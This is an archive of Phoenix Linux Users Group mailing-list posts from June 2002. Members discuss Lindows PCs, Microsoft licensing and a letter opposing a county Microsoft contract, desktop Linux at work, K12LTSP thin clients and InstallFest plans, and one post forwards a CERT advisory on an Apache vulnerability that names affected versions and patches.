georgetoft.test REALLY did not work well at all for the vmware sessions. But for now, 127.0.0.1 is probably good enough. George From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:50:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Tue, 18 Jun 2002 00:50:09 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <00db01c21644$fccf81c0$6501a8c0@drghastly> Message-ID: On Mon, 17 Jun 2002, Dr.G wrote: > Not when it is OEM I believe. Sorry, you are wrong. All software sold my Microsoft is subject to a License Agreement, which legally is a contract. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:23:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 18:23:07 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF16B745@azmscorp01.corp.azms> Message-ID: <001901c21666$b387c550$0301010a@tickticker.com> it's on the site somewhere Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 4:06 PM Subject: RE: Lindows > Yes. I should have said links to running other distributions on the walmart value pc. > > I am interested to find out what Windows based software will and will not run on Lindows. It looks like most versions of Office run. > > Larry > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Monday, June 17, 2002 2:34 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > it is running linux. it just has a c/ drive buried in the directory > structure. It's either based on suse or debian (i think, i could look it up > again if anyone is interested. > > Anthony > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 2:15 PM > Subject: RE: Lindows > > > > Also check out slashdot. They have links to how to get Linux running on > these machines. > > > > Larry > > > > -----Original Message----- > > From: Matt Alexander [mailto:m@netpro.to] > > Sent: Monday, June 17, 2002 1:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Lindows > > > > > > Yup. Only $299. > > > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > > > Hey folks, > > > Just wondering if anyone has heard anything about Lindows? Just read on > > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > > Ray > > > malbojia@qwest.net > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:49:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 18:49:33 -0700 (MST) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: On Mon, 17 Jun 2002, charlie bullen wrote: > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? > Welll... mozilla 1.0 has something called tabbed windows, windows within the window. Look under Edit menu then Perfs then Navigator. You will see a line called "Tabbed Browsing". jzc From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:09:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 19:09:36 -0700 (MST) Subject: InstallFest In-Reply-To: Message-ID: On Mon, 17 Jun 2002, jon@unfm00.com wrote: > You mean you don't have a DVD drive in your box? > Hell man.. I got DVD drives in both of my running systems and they both can play DVDs using Xine! :) Want to see them in action, BE at the fest! :) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:02:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 19:02:40 -0700 Subject: PLUG on Slashdot In-Reply-To: References: Message-ID: <200206171902.45457.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 05:50 pm, C. Sullivan wrote: > On Mon, 17 Jun 2002, Dr.G wrote: > > Not when it is OEM I believe. > > Sorry, you are wrong. All software sold my Microsoft is subject to a > License Agreement, which legally is a contract. Correct me if I am wrong, but doesn't the vendor agree to the OEM license? If I go buy a laptop with Windows XP today, I won't see a license agreement when I turn the system on. On the other hand, I have a feeling that the laptop will come with little slips of paper with the EULA on there. I might not see them, but that is because I never made a reasonable attempt to read the paperwork. It would be a reasonably weak argument in court to claim I was never informed of the agreement. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DpTEpNoctRtUIRQRApWCAJ9+QtNUZaQTkE+F3H5wu5TncwcfVgCfUMd2 y4HiqlQlhztqiGNHXROsp8o= =7wuH -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:32:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 19:32:44 -0700 Subject: slashdot meets Message-ID: <002101c21670$6d2c1930$0301010a@tickticker.com> This is a multi-part message in MIME format. ------=_NextPart_000_001E_01C21635.C0A10110 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable check out slashdot for an article on slashdot meets or check out the = site at http://slashdot.meetup.com . I'm signed up as tickticker in = chandler. It was JUST announced. anthony ------=_NextPart_000_001E_01C21635.C0A10110 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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------=_NextPart_000_001E_01C21635.C0A10110-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:45:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Mon, 17 Jun 2002 19:45:07 -0700 Subject: InstallFest In-Reply-To: References: Message-ID: <200206171945.07726.jon@unfm00.com> Great! I look forward to seeing that. On Monday 17 June 2002 19:09, Jonathan Claxton wrote: > On Mon, 17 Jun 2002, jon@unfm00.com wrote: > > You mean you don't have a DVD drive in your box? > > Hell man.. I got DVD drives in both of my running systems and they both > can play DVDs using Xine! :) Want to see them in action, BE at the fest! > > :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:00:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 23:00:35 -0400 Subject: PLUG on Slashdot References: <200206171902.45457.voltage_spike@fastmail.fm> Message-ID: <3D0EA253.32506CEC@georgetoft.com> Logan Kennelly wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Monday 17 June 2002 05:50 pm, C. Sullivan wrote: > > On Mon, 17 Jun 2002, Dr.G wrote: > > > Not when it is OEM I believe. > > > > Sorry, you are wrong. All software sold my Microsoft is subject to a > > License Agreement, which legally is a contract. > > Correct me if I am wrong, but doesn't the vendor agree to the OEM license? > If I go buy a laptop with Windows XP today, I won't see a license agreement > when I turn the system on. When I bought my computer with XP preloaded, I turned it on, and I was greeted with the EULA, which I had to accept or reject at that time. No paper to read or lose. > On the other hand, I have a feeling that the laptop will come with little > slips of paper with the EULA on there. I might not see them, but that is > because I never made a reasonable attempt to read the paperwork. It would > be a reasonably weak argument in court to claim I was never informed of the > agreement. > > - -- > Logan Kennelly > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9DpTEpNoctRtUIRQRApWCAJ9+QtNUZaQTkE+F3H5wu5TncwcfVgCfUMd2 > y4HiqlQlhztqiGNHXROsp8o= > =7wuH > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:20:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Tue, 18 Jun 2002 03:20:58 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <200206171902.45457.voltage_spike@fastmail.fm> Message-ID: On Mon, 17 Jun 2002, Logan Kennelly wrote: > Correct me if I am wrong, but doesn't the vendor agree to the OEM license? > If I go buy a laptop with Windows XP today, I won't see a license agreement > when I turn the system on. For you to use Microsoft Windows, you must agree to Microsoft's EULA. EULA is a contract. "By breaking this seal, you agree to be bound by.." means just what it appears. Remember, you are not buying the software, you are licensing it. Legally, licenses are contracts. Therefore, the County of Maricopa is entering into contract with Microsoft. Also, remember the whole reason this was brought up in the first place: the County is considering purchasing an Enterprise (i.e. site license) License with Microsoft. That is very much within the guise of what we're talking about here. -Fedl From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 12:07:37 -0700 Subject: My letter Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C215F7.92595A70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Here is my letter to my councilman, hope it helps or does someone have = one better? did i miss anything? yeah yeah I wrote this on outlook = Express, I'm trying to load Gentoo on my Linux box, and it's a beast to = install. tickticker Councilman Brock, I am writing you in regards to the news that the Maricopa County Council = is debating an Enterprise Agreement with Microsoft. However, I have = read that according to Maricopa County Policies, Microsoft should be = disqualified from any contractual business with the County. I would = like to declare my support for Microsoft's disqualification. According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the = following: "B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes." Microsoft, having been convicted of Federal Antitrust Statutes = (penalties pending), clearly falls into the catagory described in part = 3, and several court cases past and pending show a clear lack of = integrity and business honesty as outlined in part 2. I cannot find = that ANY government body would be willing to work with such contractors, = let alone having rules against it and clearly ignoring those rules. There are many alternatives to Microsofts products. Alternatives that = have broken no laws, Federal or Local, are well supported and used by = many large governments (Germany, Taiwan, et al). As a concerned voter = in Chandler, I must point out that I cannot support criminal behavior = and would hope that my County Council would see fit to do the same and = ONLY consider alternatives as Microsoft is clearly unqualified to meet = County requirements. Thank You, my name and address ------=_NextPart_000_0007_01C215F7.92595A70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Here is my letter to my councilman, = hope it helps=20 or does someone have one better?  did i miss anything?  yeah = yeah I=20 wrote this on outlook Express, I'm trying to load Gentoo on my Linux = box, and=20 it's a beast to install.
 
tickticker
 
Councilman Brock,
 
I am writing you in regards to the news = that the=20 Maricopa County Council is debating an Enterprise Agreement with=20 Microsoft.  However, I have read that according to Maricopa County=20 Policies, Microsoft should be disqualified from any = contractual=20 business with the County.  I would like to declare my support for=20 Microsoft's disqualification.
 
According to MC1-902 DEBARMENT AND = SUSPENSION OF=20 CONTRACTORS, I read the following:
 
"B. The causes for Debarment or = Suspension shall=20 include, but are not
limited to, the following:
2. Conviction of = any=20 Person or any subsidiary or affiliate of any Person
under any statute = of the=20 Federal government, this State or its political
subdivision or any = other=20 State for:
k. Any other offense indicating a lack of business = integrity or=20 business
honesty which affects responsibility as a Contractor.
3.=20 Conviction or civil judgment finding a violation by any Person or=20 any
subsidiary or affiliate of any Person under State or Federal=20 Antitrust
Statutes."
 
Microsoft, having been convicted of = Federal=20 Antitrust Statutes (penalties pending), clearly falls into the catagory=20 described in part 3, and several court cases past and pending show a = clear lack=20 of integrity and business honesty as outlined in part 2.  I=20 cannot find that ANY government body would be willing to work with = such=20 contractors, let alone having rules against it and clearly ignoring = those=20 rules.
 
There are many alternatives to = Microsofts=20 products.  Alternatives that have broken no laws, Federal or Local, = are=20 well supported and used by many large governments (Germany, Taiwan, et=20 al).  As a concerned voter in Chandler, I must point out that I = cannot=20 support criminal behavior and would hope that my County Council would = see fit to=20 do the same and ONLY consider alternatives as Microsoft is clearly = unqualified=20 to meet County requirements.
 
Thank You,
 
my name and address
------=_NextPart_000_0007_01C215F7.92595A70-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:14:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Mon, 17 Jun 2002 15:14:02 -0700 Subject: InstallFest In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have a VisionTek Xtasy Everything Personal Cinema 5564: Basically a GeForce 2 MX400-based dual-head video card with a A/V Breakout box that has a TV Tuner (as well as s-video, composite, and stereo audio) based on a (supposedly, I haven't done any research on this) industry standard Phillips chip. It works, and works well, but I'd be interested in seeing if Linux improves my maximum capture resolution. Does anyone know of a tv viewing/capture program out there? "I have never let my schooling interfere with my education." -- Mark Twain matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jonathan Claxton Sent: Monday, June 17, 2002 3:20 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: InstallFest On Mon, 17 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I also have a machine with a TV Tuner that I am bringing to the > InstallFest, it's currently running Win2k. I'd be interested to > know what software you use to view the Capture from your TV card? > Are > there any alternatives? What options does it support (recording, > scheduling, etc...) > Welll... I only use my tv card just to watch the programs. I use a simple TV viewer program called TVSet. I also have a another program that displays the Closed Caption text as it comes out from the channel I'm watching in a terminal window. Doing all this on my Black Thunder box running Gentoo dist system and the 2.4.18 kernel that I just installed this past weekend. Just wondering but what tv card you got? Me I got a Hauppauge TV card "WinTV" I belive it's called. jzc ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQ5fKo4p6zlv2o83EQIevACg53t9Bsdq7BRUw8BaVx7PysEeBJUAnies 3v18wFZwB31ZLq5Nizl/jpC3 =JQds -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:38:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:38:36 -0400 Subject: PLUG Quick References Message-ID: This is a multi-part message in MIME format. ----NEXT--540D37B0-F5668941-EF87DE65 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable here is a Great Cheat sheet I found a few months back. Original Message: ----------------- From: Jim farli@unitywave.com Date: Mon, 17 Jun 2002 10:37:54 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: PLUG Quick References -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I thought that Bill's Vi quick reference is really good so I decided to change the Resources category on the PlugPresents web site to a Quick Reference category. I have asked Bill if I can link to his cool Vi reference page. Anyone else have a quick reference that they want to put up there? With a little work, PlugPresents can become the premiere reference site for Linux users in Phoenix, Arizona, the southwest, heck, maybe the world. I have even asked Vic to put a link to PlugPresents on the PLUG website so that more people can find it. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ4ecisk3ywszI1FEQL5kgCgweBSoA1LBzRfUUzF4VP1UDCwtIAAnRGt Lx9+xs+2QBvXmupKVJDYvJCq =3D9SyJ -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to = write mail. 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----NEXT--540D37B0-F5668941-EF87DE65-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:38:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Mon, 17 Jun 2002 15:38:34 -0700 Subject: linux at work In-Reply-To: References: Message-ID: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Several of my collegues have been forced to go from WIN98 to XP and they all hate it. I've generated some interest with the multiple virtual desktops on my Suse box. I have the next task in mind, which is to implement the thin client solution that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old computers sitting around ranging from p133s to 566 celerons that could be put to good use. What was the web site for the distro that is being used in Oregon at schools to do the thin client thing. Charlie On Monday 17 June 2002 15:21, you wrote: > Sweet! Keep it up! Your next task, should you choose to accept it, is to > convert your coworker's desktops to Linux. I'll expect a monthly report > on your progress. ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:09:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 20:09:23 -0700 Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> References: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: <20020618031136.7B2721BD89@autumn.unitywave.com> You might want to look at Galeon - small and fast and it does allow not only multiple tabs in its window allowing you to view multiple sites, but it will also allow you to open additional windows with the same multiple tab capabilityes. You can move an instance of Galeon to another desktop if you wish. On Monday 17 June 2002 02:42 pm, you wrote: > This is more of a report that either a question or an answer. Fairly long. > > I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde > 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years > off and on, but this is new for me as at home I can do what ever I want and > at work, I have tasks assigned to me that must get done in a timley manner > in the way the "boss" wants. I am pleased to report that linux has met the > challange and in fact in some ways is easier and more versitile than the > other OS I've been forced to use. > > I have to have word processing and spread sheet available, for which I am > using open office 1.0. I am using Opera for a browser, but I think I will > change to Mozilla. Konquerer doesn't seem to work on one of out internal > sites. > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. > I can use virtual desktops to segregate the task groupings, which has > worked out well, but opera presents a problem as all the opera windows are > opening in the same window. If I used Mozilla, could I open a Mozilla > session in a virtual window and then keeping that session there, open 1 or > more sessions in another window? > > Enough rambling for now. If there is any interest I'll keep up the reports > of using linux as a desktop in the workplace. > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:59:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 17 Jun 2002 20:59:05 -0700 Subject: slashdot meets In-Reply-To: <002101c21670$6d2c1930$0301010a@tickticker.com> References: <002101c21670$6d2c1930$0301010a@tickticker.com> Message-ID: <200206172059.05384.alandd@mindspring.com> Well, I signed up but I already go to too many Linux and computer meetings, if you ask my wife. Seems like this is somewhat redundant to LUGs. Whatever. Let's see if something comes of it. Alan On Monday 17 June 2002 07:32 pm, tickticker wrote: > check out slashdot for an article on slashdot meets or check out the site > at http://slashdot.meetup.com . I'm signed up as tickticker in chandler. > It was JUST announced. > > anthony From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:09:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 21:09:25 -0700 (MST) Subject: My letter In-Reply-To: Message-ID: Changed "County Council" to read "County Board of Supervisors". Also, put your email address and telephone number under your address and sig. Real people with telephones and addresses in the district carry more weight. If you're not in the district, why should your message be read? Everybody, please please proof this, reword if needed. When you send this message to any of the County Board of Supervisors, it will first be screened by their staff. This email may, or may not be read by your Supervisor. Variation on the theme may help the message get noticed. Certainly a few hundred will get attention. ------------------------------------------------------------------------- Councilman Brock, I am writing you in regards to the news that the Maricopa County Board of Supervisors is debating an Enterprise Agreement with Microsoft. However, I have read that according to Maricopa County Policies, Microsoft should be disqualified from any contractual business with the County. I would like to declare my support for Microsoft's disqualification. According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the following: "B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes." Microsoft, having been convicted of Federal Antitrust Statutes (penalties pending), clearly falls into the catagory described in part 3, and several court cases past and pending show a clear lack of integrity and business honesty as outlined in part 2. I cannot find that ANY government body would be willing to work with such contractors, let alone having rules against it and clearly ignoring those rules. There are many alternatives to Microsofts products. Alternatives that have broken no laws, Federal or Local, are well supported and used by many large governments (Germany, Taiwan, et al). As a concerned voter in Chandler, I must point out that I cannot support criminal behavior and would hope that my County Board of Supervisors would see fit to do the same and ONLY consider alternatives as Microsoft is clearly unqualified to meet County requirements. Thank You, my name and address From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:09:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 21:09:43 -0700 (PDT) Subject: linux at work In-Reply-To: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Message-ID: Hi Charlie, It's called the K12LTSP and their website is: http://k12ltsp.org They focus the distro (based on RH 7.3) towards schools by adding additional software that might be useful in a K12 environment, but I found it to be perfectly suited for my work environment as well. Let me know if you have any questions as you're setting up the server and I'd be glad to help. I'll also be giving a demonstration of a K12LTSP server at the InstallFest, if you'll be attending. Good luck, and keep us updated on your progress. ~M On Mon, 17 Jun 2002, charlie bullen wrote: > Several of my collegues have been forced to go from WIN98 to XP and they all > hate it. I've generated some interest with the multiple virtual desktops on > my Suse box. > > I have the next task in mind, which is to implement the thin client solution > that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old > computers sitting around ranging from p133s to 566 celerons that could be put > to good use. > > What was the web site for the distro that is being used in Oregon at schools > to do the thin client thing. > > Charlie > > On Monday 17 June 2002 15:21, you wrote: > > Sweet! Keep it up! Your next task, should you choose to accept it, is to > > convert your coworker's desktops to Linux. I'll expect a monthly report > > on your progress. ;-) > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:14:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 21:14:29 -0700 (PDT) Subject: K12LTSP was: Linux at work Message-ID: I should also mention that I'll have 8 (or more) K12LTSP CD sets to give away at the InstallFest. ~M From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:03:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 17 Jun 2002 21:03:59 -0700 (MST) Subject: Stammtisch tomorrow Message-ID: moin, moin, just a reminder that the GNU/Linux Stammtisch is tomorrow night at Bandersnatch. Bandersnatch, like the rest of Tempe, now features no indoor smoking. This would be a good opportunity for those doing stuff for the InstallFest to meet our very own Big Man on Campus, aka Bill, to make sure we're all set for Sat. ciao, der.hans -- # https://www.LuftHans.com/ # "The purpose of IT is to seamlessly and transparently provide the other # 9/10's of the [iceberg] for people who need to work with chunks # of floating ice." -- Strata Rose Chalup From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:21:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Mon, 17 Jun 2002 21:21:31 -0700 Subject: Fw: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability Message-ID: <01b001c2167f$9f9d77b0$0401a8c0@minkland.com> Probably of interest to most on this list... Adrian ----- Original Message ----- From: "CERT Advisory" To: Sent: Monday, June 17, 2002 7:02 PM Subject: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability > > > -----BEGIN PGP SIGNED MESSAGE----- > > CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability > > Original release date: June 17, 2002 > Last revised: -- > Source: CERT/CC > > A complete revision history can be found at the end of this file. > > Systems Affected > > * Web servers based on Apache code versions 1.3 through 1.3.24 > * Web servers based on Apache code versions 2.0 through 2.0.36 > > Overview > > There is a remotely exploitable vulnerability in the handling of large > chunks of data in web servers that are based on Apache source code. > This vulnerability is present by default in configurations of Apache > web servers versions 1.3 through 1.3.24 and versions 2.0 through > 2.0.36. The impact of this vulnerability is dependent upon the > software version and the hardware platform the server is running on. > > I. Description > > Apache is a popular web server that includes support for chunk-encoded > data according to the HTTP 1.1 standard as described in RFC2616. There > is a vulnerability in the handling of certain chunk-encoded HTTP > requests that may allow remote attackers to execute arbitrary code. > > The Apache Software Foundation has published an advisory describing > the details of this vulnerability. This advisory is available on their > web site at > > http://httpd.apache.org/info/security_bulletin_20020617.txt > > II. Impact > > For Apache versions 1.3 through 1.3.24 inclusive, this vulnerability > may allow the execution of arbitrary code by remote attackers. Several > sources have reported that this vulnerability can be used by intruders > to execute arbitrary code on Windows platforms. Additionally, the > Apache Software Foundation has reported that a similar attack may > allow the execution of arbitrary code on 64-bit UNIX systems. > > For Apache versions 2.0 through 2.0.36 inclusive, the condition > causing the vulnerability is correctly detected and causes the child > process to exit. Depending on a variety of factors, including the > threading model supported by the vulnerable system, this may lead to a > denial-of-service attack against the Apache web server. > > III. Solution > > Apply a patch from your vendor > > Apply a patch from your vendor to correct this vulnerability. The > CERT/CC has been informed by the Apache Software Foundation that the > patch provided in the ISS advisory on this topic does not completely > correct this vulnerability. More information about vendor-specific > patches can be found in the vendor section of this document. Because > the publication of this advisory was unexpectedly accelerated, > statements from all of the affected vendors were not available at > publication time. As additional information from vendors becomes > available, this document will be updated. > > Upgrade to the latest version > > The Apache Software Foundation has released two new versions of Apache > that correct this vulnerability. System administrators can prevent the > vulnerability from being exploited by upgrading to Apache version > 1.3.25 or 2.0.39. The new versions of Apache will be available from > their web site at > > http://httpd.apache.org/ > > Appendix A. - Vendor Information > > This appendix contains information provided by vendors for this > advisory. As vendors report new information to the CERT/CC, we will > update this section and note the changes in our revision history. If a > particular vendor is not listed below, we have not received their > comments. > > Apache Software Foundation > > New versions of the Apache software are available from: > > http://httpd.apache.org/ > > Conectiva Linux > > The Apache webserver shipped with Conectiva Linux is vulnerable to > this problem. New packages fixing this problem will be announced to > our mailing list after an official fix becomes available. > > Cray, Inc. > > Cray, Inc. does not distribute Apache with any of its operating > systems. > > IBM Corporation > > IBM makes the Apache Server availble for AIX customers as a software > package under the AIX-Linux Affinity initiative. This package is > included on the AIX Toolbox for Linux Applications CD, and can be > downloaded via the IBM Linux Affinity website. The currently available > version of Apache Server is susceptible to the vulnerability described > here. We will update our Apache Server offering shortly to version > 1.3.23, including the patch for this vulnerability; this update will > be made available for downloading by accessing this URL: > > http://www-1.ibm.com/servers/aix/products/aixos/linux/download. > html > > and following the instructions presented there. > > Please note that Apache Server, and all Linux Affinity software, is > offered on an "as-is" basis. IBM does not own the source code for this > software, nor has it developed and fully tested this code. IBM does > not support these software packages. > > Lotus > > We have verified that the Lotus Domino web server is not vulnerable to > this type of problem. Also, we do not ship Apache code with any Lotus > products. > > Microsoft Corporation > > Microsoft does not ship the Apache web server. > > Network Appliance > > NetApp systems are not vulnerable to this problem. > > RedHat Inc. > > Red Hat distributes Apache 1.3 versions in all Red Hat Linux > distributions, and as part of Stronghold. However we do not distribute > Apache for Windows. We are currently investigating the issue and will > work on producing errata packages when an official fix for the problem > is made available. When these updates are complete they will be > available from the URL below. At the same time users of the Red Hat > Network will be able to update their systems using the 'up2date' tool. > > 